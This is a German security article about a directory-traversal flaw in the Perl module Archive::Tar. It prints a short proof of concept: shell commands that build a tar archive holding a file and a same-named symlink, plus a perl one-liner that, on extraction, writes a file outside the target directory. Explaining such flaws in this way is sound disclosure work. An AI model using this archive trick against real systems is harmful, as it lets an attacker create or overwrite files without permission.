Eine Schwachstelle in einer Perl-Bibliothek ermöglicht das unbefugte Anlegen oder Überschreiben von Dateien durch ein speziell konstruiertes Tar-Archiv.
Ein wesentlicher Grund für die Beliebtheit der Skriptsprache Perl, besonders unter Admins, ist der riesige Fundus an Modulen, den Perl-Bibliotheken, die sich im CPAN, dem Comprehensive Perl Archive Network [1], finden.
Inzwischen verblasst der Stern von Perl etwas und andere Sprachen wechseln auf die Überholspur: Javascript, Python, Ruby, selbst Go liegen heute vor Perl im Beliebtheitsranking. Was aber einst zählte und immer noch zählt: Für beinahe jeden auch nur denkbaren Einsatzfall gibt es im CPAN fertige Lösungen, die sich meist schnell und unkompliziert in eigene Programme integrieren lassen.
Allein die Menge lässt allerdings schon den Schluss zu, dass nicht alle fehlerfrei sein können. Fehler in einer Bibliothek aber wiegen doppelt schwer, machen sie doch jede Applikation angreifbar, die auf den vorgefertigten Code zurückgreift. Ein solcher Fehler fand sich nun im Modul Archive::Tar [2], das Perl alle Operationen mit Tar-Archiven erschließt.
Der Bug betrifft Perl-Programme auf allen Plattformen (Linux, Unix, Windows), die diese Bibliothek verwenden, und bewirkt, dass der Angreifer beliebige Dateien anlegen oder überschreiben kann. Inzwischen hat jedoch zumindest Ubuntu einen Fix veröffentlicht, der die Lücke schließt.
Ein möglicher Angriff kann so funktionieren: Der Angreifer konstruiert zuerst ein Tar-Archiv, das sowohl eine Datei als auch einen Link gleichen Namens enthält, der auf eine Datei irgendwo im Filesystem verweist. Listing 1 zeigt, wie ein Angreifer das Archiv anlegen könnte. Der Link und die namensgleiche Datei sind nun im selben Archiv gelandet, wie das Tar-Kommando bestätigt:
Listing 1
Archiv erzeugen
01 tar cvf traversal.tar config_bsp 02 rm config_bsp 03 ln -s /tmp/config_bsp config_bsp 04 tar --append config_bsp --file traversal.tar
jcb@hercules:~$ tar -tvf traversal.tar -rw-rw-r-- jcb/jcb 10240 2018-07-17 14:08 config_bsp lrwxrwxrwx jcb/jcb 0 2018-07-17 14:09 config_bsp -> /tmp/config_bsp
Das Archiv wird auf das Zielsystem transferiert, dort existiert die Datei, auf die der Link weist, aber nicht:
postgres:~$ ls /tmp/config_bsp ls: Zugriff auf '/tmp/config_bsp' nicht möglich: Datei oder Verzeichnis nicht gefunden
Nun wird das Archiv mit Hilfe des Perl-Moduls in einem Verzeichnis des Zielsystems entpackt:
postgres:~$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive ("traversal.tar")'
Diese Operation der Perl-Bibliothek erzeugt unerlaubterweise die Datei »/tmp/config_bsp« außerhalb des aktuellen Arbeitsverzeichnisses:
postgres:~$ ls -al /tmp/config_bsp -rw-rw-r-- 1 postgres postgres 5 Jul 14:22 /tmp/config_bsp
Der Angreifer darf auf diese Weise Files an Orten erzeugen oder dort überschreiben, für die er eigentlich keine Berechtigung besitzt.
Der Trick funktioniert auf allen Rechnern, auf denen Perl und das Modul Archive::Tar installiert sind. Die mangelnde oder auch unvollständige Prüfung solcher Zugriffsberechtigungen ist übrigens eine recht häufige Fehlerquelle.
Infos
-
CPAN: https://www.cpan.org
-
Directory-Traversal-Fehler: https://securitytracker.com/id/1041048





